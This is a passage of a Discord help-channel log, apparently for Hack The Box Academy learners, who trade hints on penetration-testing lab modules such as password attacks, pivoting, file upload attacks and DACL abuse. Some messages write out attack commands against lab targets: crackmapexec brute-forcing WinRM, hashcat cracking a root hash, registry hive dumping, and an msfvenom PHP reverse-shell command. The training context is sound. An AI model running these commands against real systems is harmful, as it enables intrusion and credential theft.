And I don’t use quotes on ip

next bronze
misty saddle
#

Okay, I'll try something different

#

I was getting tunnel visioned

obtuse storm
#

woo just completed the knowledge check on getting started, that was a fun root

acoustic owl
#

I'll delete this because there are too many spoilers
Take another close look at the log file. Your payload cannot work. It breaks the log file

sterile epoch
#

oh ok

sterile epoch
acoustic owl
#

Take a look at how the log file is structured and then take another look at how your payload is structured. Then you will see what I mean

sterile epoch
#

thanks for the pointer

acoustic owl
#

You will probably have to restart your target. Because with your payload you have broken the log file and thus made a further payload impossible.

acoustic owl
#

It is a Tier IV module and therefore costs 1000 cubes. As with all other modules, you get 20% of the cubes back on completion. So 200 cubes

acoustic owl
# maiden field I still haven’t found :/

Take another look at the keywords in the module. Then think about where the payload is transferred. Then you will also know which keyword you need to work with to find the string.

dreamy solar
#

HEllo

#

What I don't have a access ?

analog urchin
#

Hey Guys, on this module I already have 2 of 3 questions. https://academy.hackthebox.com/module/116/section/1165

The last one is "Use the discovered username with its password to login via SSH and obtain the flag.txt file. Submit the contents as your answer." I already have the user name, and I've runned the resource password list provided in the module on Hydra, medusa, and msfconsole to crack the password and it never finds it. I've tried for days now. What am I missing something or what else should I try?

white ore
#

Hi Guys, I need your help: Passwords attack modules

Find the user for the WinRM service and crack their password:

When I use this command :
crackmapexec winrm 10.129.x.x -u ./username.list -p ./password.list

It takes many times, because it will attempt 1 password from password.list for all users from username.list before moving to the next password :

WINRM 10.129.x.x 5985 WINSRV [WINSRV\john:123456
WINRM 10.129.x.x 5985 WINSRV [-] WINSRV\dennis:123456

So I think that I can get a hint for a username from service NFS (111,2049)
sudo mount -t nfs -o vers=3,tcp,nolock 10.129.x.x:/J..x ./nfs_local

ls -la nfs_local
ls: cannot open directory 'nfs_jnfs': Permission denied`

ls -ld nfs_local
drwx------ 2 4294967294 4294967294 64 Jan 6 2022 nfs_local`

I'am stuck here, when I create a user with that GUID, this doesn't work, also with the command sudo su I don't have access permission

I 'am Going down a rabbit hole? Any hint will help me to figure out that. Thank You!

fathom pendant
#

Every user can be bruteforced using the provided wordlist/mutated list

#

Unless you're referring to the skill assessment?

shadow cradle
#

Hi I have started the Footprinting medium lab but I guess I'm taking the wrong path. I have started to enumerate the different service with nmap. Find a nfs share with some tickets trascription and gathere the user&pwd in it. Still I have the feeling to be on the wrong path. Any suggestion?

fathom pendant
#

If you obtained credentials, you're generally on the right path

lucid sluice
# dreamy solar

89% is impressive im at 23.
tell me, do you feel deadly yet?

shadow cradle
dreamy solar
acoustic owl
dreamy solar
#

I don't access this flag but I do all the commands in the course

minor stag
#

Python3 does not like rpivot.

#

I'm not sure how to complete this module now

dreamy solar
#

okay I test

#

Nothing

dark aspen
#

Hello, did anyone encounter an issue related to VPN connection?
"sitnl_send: rtnl: generic error (-101): Network is unreachable"

#

I can't attach screenshot

acoustic owl
dreamy solar
#

Hey I find finally

#

2?

abstract dirge
#

Why when i use nmap =p- 10.129.180.54 (the ip from hb to check telnet host)
nmap say: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 19:25 +04
Failed to resolve "=p-".
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.18 seconds
if i use -Pn nothing change

next bronze
acoustic owl
rapid sparrow
#

netcatHiss

next bronze
abstract dirge
# next bronze `-p-`

map -p- 10.129.180.54
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 19:38 +04
Nmap scan report for 10.129.180.54
Host is up (0.0013s latency).
All 65535 scanned ports on 10.129.180.54 are in ignored states.
Not shown: 65535 filtered tcp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 105.42 seconds

next bronze
#

well is that the right ip? give more information, module and section

rustic sage
mint echo
abstract dirge
next bronze
#

what is the module and section

#

is the ip from the traget after you've spanwed it

mint echo
abstract dirge
next bronze
abstract dirge
next bronze
#

starting point?

abstract dirge
#

yes

next bronze
mint echo
next bronze
rustic sage
#

I thought I could automate the login attempt via cURL and it would show me the HTML source of the HTB{} flag, but it did not

next bronze
#

idk what section you're doing but if you were to submit login over http form it will be more diffcult with curl

#

reset the target and try again

rustic sage
#

Login Brute Forcing Module and Login Form Attacks section

#

May I PM you a SS?

next bronze
#

you can get verified and send screenshots, read #welcome

abstract dirge
delicate steeple
#

Hey guys, i am stuck on this question from the documentation & reporting module

Connect to the testing VM using Xfreerdp and practice testing, documentation, and reporting against the target lab. Once the target spawns, browse to the WriteHat instance on port 443 and authenticate with the provided admin credentials. Play around with the tool and practice adding findings to the database to get a feel for the reporting tools available to us. Remember that all data will be lost once the target resets, so save any practice findings locally! Next, complete the in-progress penetration test. Once you achieve Domain Admin level access, submit the contents of the flag.txt file on the Administrator Desktop on the DC01 host.

I just don't how to get it to work any tips are appreciated thank you

dense pollen
#

Regarding the brute forcing skills Assessment, im on the ssh Part where you need to create your custom wordlist. The password policy, meaning 8 chars or longer, special chars and numbers should also be taken into consideration correct?

dense ridge
#

Im currently going through Linux fundamentals. Does anyone have any good docs for regex commands? Man grep and 7 regex doesn’t really provide info on operators to work out patterns that begin or end. I realised I had to use \b to find ending patterns but via stackoverflow discovery. I’d like to make a cheat sheet.

timber hatch
#

hello
in the module attacking common service the question in the dns section: Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer.

i added the target to the resolvers.txt file, but get always the message: Warning: No nameservers found, trying fallback list.

why is that?

acoustic owl
#

What exactly is in your resolvers.txt file?

timber hatch
#

the ip address of my target

#

the spawned taget ip

acoustic owl
#

send me the command you are using via DM.

hollow ibex
#

can anyone guide me about htb student subs...???

acoustic owl
#

What exactly do you want to know?

woven sequoia
#

Are the EU VPN facing issues rn?

timber hatch
hollow ibex
#

i want to k know if i subscribe then after the end of month the moudle i completed can i go through from them later or not . like the modules only open in subs..???

stark vortex
#

once you buy a module with cubes you keep it forever

acoustic owl
#

All modules that you have completed 100% during the subscription period are yours. You can no longer access all other modules once the subscription has expired.

hollow ibex
#

ok thanks

acoustic owl
#

Except, of course, the ones you bought with cubes. These are always yours.

dreamy solar
winter hatch
#

hey guys ........ i think there is something wrong in here
i'm doing the Nmap module and i reached this part.
can somebody explain me how the tcp connect scan is more stealthy than the syn scan ?
cause i thought that initiating a full connection (3 way handshake) will trigger alerts).

dim wolf
#

an unfinished TCP handshake is more suspicious than a completed handshake

cloud urchin
#

DACL attacks, I'm trying to dump the SAM & SYSTEM registry hives and it dumps SAM, but it hangs after that and doesn't dump SYSTEM. I tried a couple different versions of impacket but they all result in the same thing. Am I doing something wrong?

winter hatch
dense ridge
delicate steeple
cloud urchin
#

I'm having the same problem on the attackbox, this is making the module impossible to complete.

mystic light
civic terrace
#

Attacking Enterprise Networks - Web Enumeration & Exploitation. There is a section on http verb tampering on dev.inlanefreight.local.

I keep getting a communication error/no route to host when using burp on this part. Burp works on regular sites and the other vhosts. I do get the expected results when using curl. But when using burp I get communication error/no route to host.

I resolved it. Posting resolution here - nano/hosts had previous IPs not hashed out that had the dev.inlanefreight.local. Removed, restarted good to go.

cloud urchin
#

alright i think i found my problem - it takes a long time lol. gotta wait like 5+ mins

#

hmm actually it only worked on the attackbox like that, not working on the vm, seems to be timing out.

next bronze
cloud urchin
#

not sure what you mean. the files are dumped without issue. the problem is retrieving the files over smb via reg.py

next bronze
#

yeah you save it on the system itself then retrive it with smbclient instead of doing everything at once

maiden field
#

Working with IDS/IPS
Intrusion Detection With Zeek

There is a file named revilkaseya.pcap in the /home/htb-student/pcaps directory, which contains network traffic related to the REvil ransomware Kaseya supply chain attack. Enter the total number of bytes that the victim has transmitted to the IP address 178.23.155.240 as your answer.

Dumb question but isn't it supposed to be the addition of everything in the length ?

cloud urchin
#

it hangs after retrieving SAM.save and never grabs the other file

#

it also did fail on the attack box a couple times i had to do it a few times (same commands, never rebooted machine)

#

the only difference is i tried impacket v9 and v11, while the attackbox is using v10. maybe something is up there idk.

#

regardless the attackbox will allow me to complete this, although i'd like to be able to do it without the attackbox.

grizzled ore
#

Can SB help me with the bash scripting module?
Im really stuck 😐
I even wrote the same script in node but I still don't get the flag :/

It works on the virtual linux machine but not on my mac 😮

next bronze
#

save the reg dump on the target system itself, then retrieve it using smbclient after it's been saved, so that even if it fails, you can just download the file again instead of having to dump it again

cloud urchin
#

gotcha

#

this particular spot is "from linux" though

next bronze
#

SYSTEM hive will take the longest to transfer, the other two should be pretty quick

cloud urchin
#

alright. thank you.

dusk jasper
#

Anyone having trouble connecting with module target systems?

cloud urchin
#

i am

#

doesn't seem stable enough to download the system hive

maiden field
cloud urchin
#

other people on the network trying to log into my smb server? [*] Incoming connection (190.217.48.58,54787), also getting connections from other random addresses that aren't mine

#

i cannot get this dang flag because the system won't transfer this reg file

lean folio
#

Did you tried to do it via virtual box, and create server on VB? When i did it, it worked... Or anybody scanning you 😄 😄 😄

#

Hello people
Is it just me who sometimes feels that it is impossible to finish studying, or am I really stupid? 😄 Sometimes I don't have the strength, and I feel like giving up

cloud urchin
#

sometimes you just need to take a break and have fresh eyes on it. i find sometimes i get lost in the weeds and just need to come back and rethink it simpler

dim wolf
#

taking breaks helps a lot

#

you get burnt out super bad if you keep chugging along

lean folio
# dim wolf this is me 80% of the time

Iam doing actually something like preparation course into ethical hacking company, and still learning on portswigger, and on htb academy too... But, sometimes i think, that it's my end, and i am the most stupid man on the world 😄 :D: D

lean folio
# dim wolf taking breaks helps a lot

i cant... because iam type of the people, if i take break one day, then i will say "i will do it tomorrow" and again, and again... 😄 Its hardest to start like to stop 😄

dim wolf
#

taking regular 1 hour breaks during study sessions is OK

lean folio
#

ahaaaaa, this you thought, yes, its true 🙂

dim wolf
#

you can also take a break in between modules, like i just finished the yara and sigma module and i'm taking a break before going into digital forensics

#

and if you're itching for something to test your knowledge, there's always HTB main platform

tranquil axle
lean folio
#

i have every week one topic... For example, now i studying LFI/RFI, but week ago it was SSRF...

tranquil axle
maiden field
tranquil axle
#

ipv4 tab?

maiden field
#

yes ive tried it aswell

maiden field
tranquil axle
#

can you remove the display filter and enlarge the column for bytes? it shouldnt show kB

maiden field
#

it still stay in kb for some reasons

tranquil axle
#

oh derp, you are doing zeek, you are not supposed to use wireshark. Basically look at the example number 3 again and do what they do there, there is a long command that leaves you with a list of ips and how much data gets exfiltrated

maiden field
#

oh ok

#

that's what I tought I was not doing the good thing

maiden field
stone valley
#

Hi, I'm new for capture flags , I'm try blockchain_russian_roulette, I get from option 3 : get the flag. "conditions not satisfied" any tip, help on that to figure it out? Thank you

fathom pendant
white ore
stone valley
fathom pendant
#

:)

crystal steeple
#

hello, i completed the section Dsync attack in AD , but when i try to do it using portforwarding it wont work , the first pivot works well from windows to ssh , but then i tried to double port forward using ssh dynamic port forwarding , and then tried to perform the command in my attack host but didnt work

next bronze
#

looks like a pivoting problem instead of a dcsync problem

minor stag
#

What am I supposed to change this domain to for this to work?

minor stag
crystal steeple
#

i fixed it now

tranquil axle
#

dnscat has a similar error on their github and suggests installing ruby-dev

minor stag
#

I'm having similar issues with chisel now. I uploaded it to the pivot host but the pivot host is missing the lib files necessary to run chisel

#

I can't install go on it and I can't update the libraries on the pivot host, so I'm not sure what to do with this exercise. The module certainly doesn't address it.

dusk jasper
#

Is it just me or CBBH's server side skill assessment was anti-climatic? Or did I do something wrong? sadglas

minor stag
#

I was able to answer the module questions by doing a standard proxychains port forward, but it sucks that I can't get the tools the lessons want me to use to work.

mystic loom
#

Hey guys, I'm on the "Nosql injections" module at the moment and I'm stuck on the skills assessment #2. || I've tried to inject into all parameters on various endpoints(/login, /forgot, /reset), I heard it has somehting to do with time based injections which I also tried but sadly couldn't make anything work|| Any hints? Thank you 🙂

acoustic owl
mystic loom
#

I actually tried to quite a bit of queries based on those values

#

I feel like I'm over complicating things here 😂

acoustic owl
#

Yes exactly, try the placeholder. Then try something that certainly doesn't exist.

fathom pendant
#

The reason it doesn't work is bc your version of glibc that you compiled chisel with isn't the same as the target

mystic loom
acoustic owl
minor stag
fathom pendant
minor stag
#

I spent like 15 mins manually changing all the errors in the python2.7 version of server.py to python3 and it was for nothing lol

fathom pendant
minor stag
#

I'm guessing I have to find it online since I can't apt install it

fathom pendant
#

You might be able to install with pip

mystic loom
fathom pendant
#

Also I had no issues installing 2.7 on my machine

minor stag
#

I get that with a lot of pip install attempts

#

And now this

fathom pendant
minor stag
fathom pendant
#

It's specifically under virus& threat protection

minor stag
#

Found it, and it worked.

dark sandal
#

Network Enumeration with NMAP, chapter "Host Discovery" is confusing me. What is exactly the IP target I should scan? I've tried to start the workstation instance and ran a test with the last IP showed in the examples, but host seems down(even with -Pn I can"t get results, coz system get stalled)

cloud urchin
#

usually at the very bottom in the question area there's a link you click to start up the victim box

#

after it starts it shows the ip there

dark sandal
#

there is no button 😦

cloud urchin
#

it doesn't say do the scan yourself it just says based on the last result.. so the answer is probably on that same page? what's the hint say?

#

idk i didn't do that module so..

dim wolf
#

"Based on the last result"

#

look at the last result on the page

dark sandal
#

That was bad reading. My bad, guys! Thank you!

mild cypress
#

Struggling with https://academy.hackthebox.com/module/113/section/2139 (Attacking Thick Client Applications) and could use a hand if anyone is able.

I've successfully completed the steps up to "run again the Restart-OracleService.exe and check the temp folder. The file 6F39.bat is created under the C:\Users\cybervaca\AppData\Local\Temp\2" - but rerunning Restart-OracleService.exe doesn't seem to generate the files as advertised 🤔

cloud urchin
#

what's the step before that

plucky latch
#

Is there a worse sections in the CPTS than the Thick client sections in Attacking Client Applications... So frustrated, got through the first one and now stuck on FTP client one... Would be fine if the windows VM wasnt so slow...

cloud urchin
#

its because the steps are straight up wrong

#

so you have to deep dive outside the module on how to compile java

fathom pendant
cloud urchin
#

i get the exercise but it's pretty advanced for a medium module, it should be reworked to explain it better

plucky latch
#

I am watching Ippsec's video on Fatty right now

fathom pendant
#

the addition of this section was highly contentious when it came out

cloud urchin
#

his video didn't help me at all

#

he uses a completely different tool and you can't dl stuff on that box

fathom pendant
#

people did NOT like it; and they updated it to be slightly better

cloud urchin
#

the commands they give are wrong too

fathom pendant
#

it's all about tool transfers

cloud urchin
#

yeah but you shouldn't need to do that

fathom pendant
#

¯_(ツ)_/¯

cloud urchin
#

the module itself should contain everything required to pass the questions. simple as that.

#

you should not need outside resources and learning about a tool completely irrelevant to the module's spirit

fathom pendant
#

¯_(ツ)_/¯

#

when you complete it leave a review regarding that section

cloud urchin
#

if it does do that, then it needs to hand hold you, not force you to go outside the module. especially when the commands it gives you to paste are straight up wrong

#

and it does not explain the command you're running at all

fathom pendant
#

again this section was a late addition and definitely not proofread

cloud urchin
#

i watched the fatty video, skipped to the end to see the ip, and put that in the answer box and moved on

#

the rest of the module was absolutely awesome

fathom pendant
#

it's also possible you're doing something incorrect and trying to blame the module ¯_(ツ)_/¯

#

but if you're saying you followed it 1::1 then i'll believe you

cloud urchin
#

yeah, you can't follow it 1:1

#

i just completed that yesterday

#
onyx dust
#

Oh Jesus

#

Listen the thick applications part is seriously out of place.

#

It's not easy for anybody.

fathom pendant
#

yeah, i'm not arguing that it isn't

#

it just sucks

mild cypress
#

(Now very much not looking forward to the rest of it 🙈)

cloud urchin
#

did you complete that part? after that i found it a bit buggy, i had to start and ctrl-c and start the service a couple times

#

so try messing with the executable like that and it should dump it

mild cypress
#

I did, yeah, still no files being generated though 🤷

#

I ran the restart 5 or 6 times (which took a billion years).

#

Guess I'll try and reset the VM and try again 😔

indigo flax
mild cypress
next bronze
mild cypress
#

💀

cloud urchin
#

DACL attacks - Change the credentials for the account Yolanda. Then, connect to the shared folder \DC01\yolanda\ and submit the contents of flag.txt as the answer. How am I supposed to grab this flag? yolanda doesn't have rights to connect to the computer, after changing her creds i can't get into the share folder with them to get the flag either. can't do it with smbclient, cme, or manually going to the folder and entering the password on the windows host.

next bronze
#

why wouldn't the user have the rights to access their own folder?

cloud urchin
#

no idea

#

they should

mild cypress
#

Welp, I give up for now. If anyone knows what I'm doing wrong, I'd greatly appreciate a DM that I can follow up later 🤷

cloud urchin
#

i'm sure i'm just missing something obvious otherwise this box is busted

#

the creds successfully authenticate, but she doesn't have perms to anything

mild cypress
# dim wolf wtf is this section

I have no idea, I'm like two steps in and already pulling my hair out. When looking things up to try and find out what I have wrong, all I'm seeing are a mountain of complaints and criticisms of this section. Feels like bruteforcing the answer and skipping it may be the way forward 😂

dim wolf
#

this section is absolutely insane

mild cypress
#

Pls send hlp.

rustic sage
#

Password attacks under a password shadow and o password. Hashcat is jammed up and is asking me to click status pause bypass checkpoint or quit. I can’t get it to work. Hashcat -O -m 1800 root.hash mutated.list -o cracked.hash

fathom pendant
#

I also don't see a -O option for hashcat but it's been a minute since i looked at the docs

#

oh right -O is optimized kernels

#

which is highly unnecessary

rustic sage
#

Figured it out

#

Another lesson on not being patient

#

😩

cloud urchin
#

if anyone can nudge me with this dacl thing that'd be cool

#

really not sure what i'm doing wrong it says to change yolanda's password and use that to get the flag on her folder, the password change is successful but there's no way to log in to the box with her creds and she doesn't seem to have access to that folder

rustic sage
#

Boxes are addicting like a drug. Can’t stop won’t stop

cloud urchin
#

wow, randomly it worked this time

dire abyss
#

need some help on DNS Tunneling with Dnscat2.. the part where you first get on PS on the target, you run the cmd "Import-Module .\dnscat2.ps1" i get an error saying it wasn't loaded because no valid module.. how am i supposed to import the file, it gets totally glossed over..

cloud urchin
#

that command, Import-Module imports it

#

check in c:\tools or something

fathom pendant
#

otherwise you either need to move to the directory or use the full filepath

dire abyss
#

yeah looks like i need to go back and look up upload methods

fathom pendant
#

is it not in C:\tools?

dire abyss
#

theres no tools dir

fathom pendant
#

file transfers it is then

#

just host a web server on your attack box with the dnscat2.ps1 and use invoke-webrequest from powershell

dire abyss
fathom pendant
#

also: that's not how http.server works

#

http.server launches the server from the directory you're currently in

#

you can't do arbitrary file read/download with it

#

so unless for some reason you started it from filesystem-root: specifying the full path does nothing

dire abyss
#

so i have to run from the dir /dnscat2-powershell/ ? but even so, like you said i cant download from it..

cloud urchin
#

your url is wrong

#

when you use python -m http.server, it serves out of the folder you executed the command in

fathom pendant
#

what I said is you don't specify the full filepath

cloud urchin
#

so it's looking for /home/kali/home/kali/dnscat2-powershell/dnscat2.ps1

dire abyss
#

ahh okay

#

im tracking now

fathom pendant
cloud urchin
#

ahh yeah lol

fathom pendant
#

whenever you run any fileshare (unless specified) it will always launch from the current directory

#

meaning any shared files can ONLY be accessed via that directory

#

you can't specify/directory traverse backwards only forward

dim wolf
#

just include LFI in your fileshare

#

then you can easily traverse backwards

fathom pendant
#

and so can anyone that incidentally accesses your tun0 ip via the vpn network

dire abyss
#

very helpful peeps, i got it

sleek moss
#

when i try to install oracle_xs it says hint: See PEP 668 for the detailed specification.
error: externally-managed-environment

× This environment is externally managed
╰─> To install Python packages system-wide, try apt install
python3-xyz, where xyz is the package you are trying to
install.

If you wish to install a non-Debian-packaged Python package,
create a virtual environment using python3 -m venv path/to/venv.
Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make
sure you have python3-full installed.

If you wish to install a non-Debian packaged Python application,
it may be easiest to use pipx install xyz, which will manage a
virtual environment for you. Make sure you have pipx installed.

See /usr/share/doc/python3.11/README.venv for more information.

note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.
hint: See PEP 668 for the detailed specification.

#

can someone help to fix? i use parrotOS htb edition

#

└──╼ $pip install cx_Oracle

dim wolf
#

using the venv was a bit annoying so i opted to potentially break my packages

loud torrent
#

Hey

#

Why I can't write in some channels?

dim wolf
cloud urchin
#

i think you put 1 instead of l

#

and you should prob delete that

#

you aren't inputting the correct flag

ruby whale
#

Done

#

Thanks missed that l

cloud urchin
#

hehe it happens

gentle root
mellow delta
soft cedar
misty saddle
#

Hi all, I could use some help! 🙂
Module: Password Attacks
Section: Password Attacks Lab - Medium
Question: I can see that SSH is open and SMB. I've tried to bruteforce login with Hydra on SMB and SSH. But with no luck. I've tried the mut.password.list and the normal password.list, but I don't get any results. Can anyone nudge me in the right directon?

frozen mesa
#

FILE UPLOAD ATTACKS -->Upload Exploitation
I've uploaded a rev shell from pentest monkey (with edited Lhost and L port) and uploaded a msfvenom custom rev shell (msfvenom -p php/reverse_php LHOST=10.10.14.232 LPORT=1337 -f raw > reverse.php)
Ncat on port 1337 (defined as lport) but nothing when i open the files via download URL.

#

Tried also webshells (custom and phpbash) but nothing more than a blank page without any error or output.

#

Found it 🙂

remote latch
misty saddle
misty saddle
# soft cedar enumerate smb further.

I'm pretty lost. I found two users while enumerating further. I put them into a custom list, so it would be faster to bruteforce. Still no hit on password.
Am I on the wrong path or is my syntax wrong?

jaunty swallow
#

hey guys, i just want to confirm if cubes obtained from monthly subscription expire?

jaunty swallow
#

okay great, thanks

remote latch
#

np

soft cedar
misty saddle
soft cedar
misty saddle
fathom pendant
#

also hashcat will get it probably faster

#

<@&861185840277487616> this clearly doesn't belong

slender shoal
#

@remote latch Keep the discussion on topic, and appropiate.

shadow cradle
#

Hi I have just finished the Footprinting module so what to pick up next? There is any good sense order to pick the module?

fathom pendant
#

each module overview, if you read them, has a "it's suggested you have a firm understanding of these modules:" then lists the modules it believes would be the pre-requisites for you to fully grasp the concepts

lucid sluice
#

this question doen't make any sence to me. why is their an FTP server running?
when i scan the port using nmap these are the list of ports found

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-11 07:00 EDT
Nmap scan report for 94-237-48-205.uk-lon1.upcloud.host (94.237.48.205)
Host is up (0.15s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE
19/tcp filtered chargen
22/tcp open ssh
25/tcp filtered smtp
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
32785/tcp open unknown
33899/tcp open unknown
49999/tcp open unknown

How would i know to use FTP to brute force as the other user?

shadow cradle
fathom pendant
#

also it looks like ftp is an internal service

#

not visible to the outside

#

which is why it states "once you ssh in, try brute forcing"

#

meaning that ssh in --> bruteforce is how i interpreted but I could be wrong on that

lucid sluice
fathom pendant
frozen mesa
#

FILE UPLOAD ATTACKS - does it make a difference whenever i upload a .php or a .php6 : .php is blocked by filter, now i want to get the same results with a non blocked extension but i cannot get it working. Dont know if there is any difference in possibilities.

fathom pendant
#

most filters only check the first or last .xyz

mint lodge
#

i have a problem in web attacks IDOR insecure APIs
i cannot press the Update profile button i tried restarting the traget and still nothing...

fathom pendant
lean aspen
#

I did just like that but before I find some records the subbrute prompt me with an error 😦

mint lodge
#

restarted again and now it works💀

proven panther
#

Im on SQLMap Essentials, on Case#3 i have no idea where im going wrong, ive even copied someone elses command from a walkthrough but yet i cant get a 'flag3' table. Any ideas?

#

And to be fair i struggled alot with case#2 aswell, i dont feel like alot of it has been explained as well as it is for some other modules. Any places i can learn it a bit more?

clever topaz
#

for subbrute section, i have waited more than 15 minutes, is this normal?

clear swift
#

ill post here. i hope it's right channel:
I want to discuss the practicality of setting up a local "hack-a-box") and design it myself

fathom pendant
#

or at least what leads to the answer

clever topaz
#

what ahahahaha

fathom pendant
clear swift
#

my first question is if there's any legal issues in just the challenge itself. And another one what if I add a reward (say a lunch voucher) for completing. Would that be generally acceptable

fathom pendant
#

this channel is for discussion of academy modules overall not setting up your own thing

compact patrolBOT
clear swift
#

I can't because I need to verify somehow on website im not part of yet 😄 but I will prob do that later

fathom pendant
#

your question will likely get buried here

#

the only people that can answer legal questions are support staff and such

clear swift
#

do you think it would be fun if your neighbor setup a wireless network -> computer system with the SSID "hack me" or smth

fathom pendant
#

¯_(ツ)_/¯

#

as long as it's segregated from your used network

#

that way there's a separation between a vulnerable system and your home network

clear swift
#

ye I happen to have some extra hardware. I doubt using any servers is allowable at all

clever topaz
fathom pendant
#

this channel is for discussion and assistance with HTB academy modules

gusty kettle
#

Module: "WINDOWS ATTACKS & DEFENSE"

I did RDP to bob machine , got hashes using rubeus.exe but to crack these hashes iam unable to ssh into kali machine

#

$ ssh kali@172.16.18.20
ssh: connect to host 172.16.18.20 port 22: Connection timed out

This is what iam getting

fathom pendant
dusk jasper
crystal steeple
#

hello i got a shell using noPac in AD module/bleeding edges vulns section but when i try to cd its says you need to provide full path

#

i tried cd c:\path\to\folder

#

and still same error

next bronze
#

then don't cd, just use full path for everything 4Head

crystal steeple
#

how can i switch directories without cd

next bronze
#

don't cd, you can do anything you want from your current dir

crystal steeple
#

thanks man i figured it out now

dim wolf
austere osprey
#

why there is no modules channel for each path?
will be happy to help people on the cwee path but there is a mess here I can't follow lol

fathom pendant
#

not to mention there's some paths (CPTS/CBBH) that share some modules

#

it's easy to search one channel for keywords than need to look in multiple channels

naive imp
#

in the "network traffic analysis" module, in the guided lab of the wireshark, when i start to capture the packets on the interface "ENS224", the first TCP stream which i find contains "RST" flag which should not be there according to the given lab but somehow i am getting different packets... and unable to answer the questions... plzz help anyone...

dim wolf
naive imp
dim wolf
#

No DM ❌

naive imp
#

actually i am new to discord... so i dont know how to post here in channels

dim wolf
#

if you want to post images, verify your account with HTB -> #welcome

patent oak
#

AD Enumeration & Attacks Skills Assessment 1 just took my soul and reformed it

#

I am not the man I once was

naive imp
dim wolf
#

is that all the packets you captured?

naive imp
#

yep... after sometime, i noticed that all i was getting the same repeating traffic

#

total i got around 166 packets before the traffic restarted

fathom pendant
#

Which is somewhat intended to get repeated traffic

naive imp
#

But getting the right traffic is also necessary right?

#

i am getting something else

#

everytime

fathom pendant
#

That way you don't have to just get lucky and capture a packet at just the right time, otherwise restart the lab

#

Also: you won't always get the same results as the examples

#

Sometimes the examples intentionally leave out a part that would basically reveal the answer to the question

dim wolf
#

you should just leave the packet capture running

naive imp
#

the only TCP stream i found containing the a username was "ANONYMOUS" and thats not the correct answer

fathom pendant
#

Looks like some web traffic, though the 4444 seems odd